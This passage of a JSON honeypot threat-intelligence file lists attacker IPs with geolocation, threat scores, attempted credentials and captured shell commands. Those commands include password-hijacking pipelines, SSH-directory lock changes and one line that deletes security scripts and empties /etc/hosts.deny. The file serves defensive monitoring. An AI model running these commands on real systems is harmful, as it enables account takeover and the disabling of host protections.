        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T21:25:33.684000+00:00",
        "last_seen_30d": "2026-03-24T21:44:59.401000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "4.194.4.255": {
      "attack_count": 119,
      "first_seen": "2026-03-14T23:05:32.950Z",
      "last_seen": "2026-03-14T23:27:26.382Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "acer",
        "345gs5662d34",
        "7days",
        "android",
        "django",
        "github-runner",
        "jagdish",
        "mailuser",
        "maks",
        "root",
        "toro"
      ],
      "passwords_attempted": [
        "12345",
        "100",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "android123",
        "mailuserpass",
        "makspass",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nvAjWzDhl1o47\\nvAjWzDhl1o47\\n\"|passwd",
        "echo -e \"123456\\nvAjWzDhl1o47\\nvAjWzDhl1o47\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T23:05:32.950000+00:00",
        "last_seen_30d": "2026-03-14T23:28:34.969000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "223.123.41.68": {
      "attack_count": 118,
      "first_seen": "2026-03-17T00:26:33.545Z",
      "last_seen": "2026-03-29T05:55:55.718Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.7,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T00:26:33.545000+00:00",
        "last_seen_30d": "2026-03-29T05:57:05.686000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 67
      }
    },
    "36.92.6.45": {
      "attack_count": 94,
      "first_seen": "2026-03-26T00:21:30.000Z",
      "last_seen": "2026-03-26T00:34:10.889Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "darwin",
        "345gs5662d34",
        "cool",
        "dj",
        "nginx",
        "oak"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "darwin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"darwin1234\\ncWJeEOMQmMlE\\ncWJeEOMQmMlE\\n\"|passwd",
        "echo -e \"darwin1234\\ncWJeEOMQmMlE\\ncWJeEOMQmMlE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:21:30+00:00",
        "last_seen_30d": "2026-03-26T00:35:20.072000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "115.72.169.2": {
      "attack_count": 93,
      "first_seen": "2026-03-26T17:11:58.616Z",
      "last_seen": "2026-03-26T17:25:29.654Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nima",
        "viewtinet",
        "zz"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "123456@w",
        "3245gs5662d34",
        "345gs5662d34",
        "Test12345678"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:tFhGqc1Bzrbk\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:11:58.616000+00:00",
        "last_seen_30d": "2026-03-26T17:26:37.952000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 17
      }
    },
    "206.189.149.194": {
      "attack_count": 91,
      "first_seen": "2026-03-10T16:32:05.227Z",
      "last_seen": "2026-03-11T02:47:29.296Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech",
        "admin"
      ],
      "passwords_attempted": [
        "Password@kelltech",
        "test2026",
        "12",
        "1@Admin",
        "2025!Kelltech",
        "Adm1n123",
        "Adm1n123!",
        "Kelltech!2023",
        "Root2025@",
        "Welcome123@",
        "kelltech@2024",
        "root2025@",
        "test123",
        "test2025",
        "test2025#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:32:05.227000+00:00",
        "last_seen_30d": "2026-03-11T02:48:29.882000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 51
      }
    },
    "134.209.202.177": {
      "attack_count": 88,
      "first_seen": "2026-03-03T17:32:47.446Z",
      "last_seen": "2026-03-03T17:48:41.892Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:32:05.110000+00:00",
        "last_seen_30d": "2026-03-03T17:49:45.087000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 35
      }
    },
    "186.6.48.220": {
      "attack_count": 86,
      "first_seen": "2026-03-17T06:20:00.715Z",
      "last_seen": "2026-03-17T06:41:24.281Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "user02",
        "usuario",
        "admin",
        "astra",
        "dheeraj",
        "md",
        "tibero",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "Abcd1234!@#$",
        "Dheeraj123",
        "Pa$$w0rd2024",
        "admin",
        "mdpass",
        "tibero123",
        "user02123",
        "vpn123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 6400,
      "as_org": "Compania Dominicana de Telefonos S. A.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:20:00.715000+00:00",
        "last_seen_30d": "2026-03-17T06:42:29.533000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 33
      }
    },
    "159.223.2.75": {
      "attack_count": 80,
      "first_seen": "2026-03-11T01:11:28.531Z",
      "last_seen": "2026-03-11T01:41:11.964Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "ethereum",
        "solv"
      ],
      "passwords_attempted": [
        "123456",
        "solana",
        "1",
        "12345678",
        "1234567890",
        "123@",
        "Sol",
        "Solana",
        "ethereum",
        "qwer1234",
        "sol",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:08:14.232000+00:00",
        "last_seen_30d": "2026-03-11T01:42:16.534000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 39
      }
    },
    "69.63.201.132": {
      "attack_count": 78,
      "first_seen": "2026-03-03T00:03:39.356Z",
      "last_seen": "2026-03-03T00:21:49.995Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "123qwe,./",
        "3245gs5662d34",
        "345gs5662d34",
        "A4444444",
        "Secure@123",
        "a123.123.123a",
        "aA!123456",
        "abc123456.",
        "admin@2025",
        "cassia",
        "passw0rd!",
        "r00t123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 906,
      "as_org": "DMIT Cloud Services",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:03:39.356000+00:00",
        "last_seen_30d": "2026-03-03T00:22:54.418000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 32
      }
    },
    "115.57.193.182": {
      "attack_count": 50,
      "first_seen": "2026-03-07T05:06:03.986Z",
      "last_seen": "2026-03-07T05:11:28.401Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:06:03.986000+00:00",
        "last_seen_30d": "2026-03-07T05:12:31.693000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "68.183.91.154": {
      "attack_count": 45,
      "first_seen": "2026-03-11T03:38:54.235Z",
      "last_seen": "2026-03-11T03:49:33.686Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:38:54.235000+00:00",
        "last_seen_30d": "2026-03-11T03:50:41.417000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 19
      }
    },
    "165.22.254.134": {
      "attack_count": 38,
      "first_seen": "2026-03-22T00:02:58.665Z",
      "last_seen": "2026-03-22T00:07:15.027Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "345ert#$%ERT",
        "a1234567a",
        "oracle",
        "password123."
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T00:02:58.665000+00:00",
        "last_seen_30d": "2026-03-22T00:08:15.605000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "185.91.69.33": {
      "attack_count": 38,
      "first_seen": "2026-03-18T03:37:45.417Z",
      "last_seen": "2026-03-18T03:38:23.008Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Redditch",
      "asn": 201579,
      "as_org": "Hostgnome Ltd",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:37:45.417000+00:00",
        "last_seen_30d": "2026-03-18T03:39:24.303000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Cowrie": 38
      }
    },
    "23.94.28.163": {
      "attack_count": 33,
      "first_seen": "2026-03-08T07:53:52.108Z",
      "last_seen": "2026-03-11T03:45:18.848Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!@#$%",
        "!1@2#3$A",
        "!@#$qwerasdf",
        "!@#123A",
        "!@#123qwe"
      ],
      "commands_executed": [
        "ssh -V"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:21:38.058000+00:00",
        "last_seen_30d": "2026-03-11T03:46:19.653000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 19
      }
    },
    "202.47.56.209": {
      "attack_count": 26,
      "first_seen": "2026-03-23T01:49:01.732Z",
      "last_seen": "2026-03-23T01:51:50.007Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T01:49:01.732000+00:00",
        "last_seen_30d": "2026-03-23T01:52:59.837000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "38.188.160.230": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:33:39.209Z",
      "last_seen": "2026-03-10T23:54:01.845Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "100983",
        "230587",
        "bourvil",
        "rosebud1"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:33:39.209000+00:00",
        "last_seen_30d": "2026-03-10T23:55:05.896000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 11
      }
    },
    "74.208.174.21": {
      "attack_count": 15,
      "first_seen": "2026-03-23T11:37:30.151Z",
      "last_seen": "2026-03-23T11:38:41.041Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T11:37:30.151000+00:00",
        "last_seen_30d": "2026-03-23T11:39:46.978000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "65.49.20.67": {
      "attack_count": 12,
      "first_seen": "2026-03-02T06:01:02.605Z",
      "last_seen": "2026-03-03T04:25:02.414Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 97.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 501,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T06:01:02.605000+00:00",
        "last_seen_30d": "2026-03-31T14:40:14.637000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 293,
        "Honeytrap": 155,
        "Cowrie": 12,
        "H0neytr4p": 12,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Dionaea": 5,
        "ConPot": 4,
        "Honeyaml": 2,
        "Miniprint": 1
      }
    },
    "122.118.201.172": {
      "attack_count": 10,
      "first_seen": "2026-03-25T14:58:32.947Z",
      "last_seen": "2026-03-25T15:05:23.794Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "dados",
        "pl"
      ],
      "passwords_attempted": [
        "dados",
        "pl"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Miaoli",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T14:58:32.947000+00:00",
        "last_seen_30d": "2026-03-25T15:06:26.636000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "65.49.1.192": {
      "attack_count": 10,
      "first_seen": "2026-03-05T17:59:03.869Z",
      "last_seen": "2026-03-28T11:43:30.202Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
